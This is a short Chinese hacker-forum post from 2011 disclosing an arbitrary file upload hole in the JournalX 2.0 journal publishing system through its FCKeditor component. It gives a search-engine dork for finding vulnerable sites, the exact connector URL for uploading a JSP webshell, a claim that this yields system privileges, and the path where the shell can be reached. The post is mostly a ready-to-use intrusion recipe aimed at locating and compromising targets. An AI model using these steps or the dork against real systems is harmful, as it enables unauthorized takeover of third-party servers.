蓝盟诗人[LUC]蓝客联盟

Journal报刊系统Fckeditor-0day

2011-01-23 20:06 作者: 来源: 本站 浏览: 2,073 views 我要评论 字号:

发布作者:情书

影响版本:JournalX 2.0
官方网站:http://www.magtech.com.cn/

产品介绍:

JournalX 2.0率先为出版社/集团、期刊业推出了整体的解决方案。目前已经在遍布全国的600多家杂志社、十几家出版社得到应用。

google or baidu 关键字:inurl:volumn/current_abs.shtml

因FCKeditor/myconfig.js 过滤不严格导致上传任意格式文件。

在Web根目录访问 /FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector

上传JSP马 = 系统权限。

上传后访问路径:http://www.xxx.com/UserFiles/File/ 马的名字.jsp

打印
分享到:
复制链接

发表评论

*

* (保密)

Ctrl+Enter 快捷回复

会员登录关闭

记住我 忘记密码

注册会员关闭

小提示: 您的密码会通过填写的"电子邮箱"发送给您.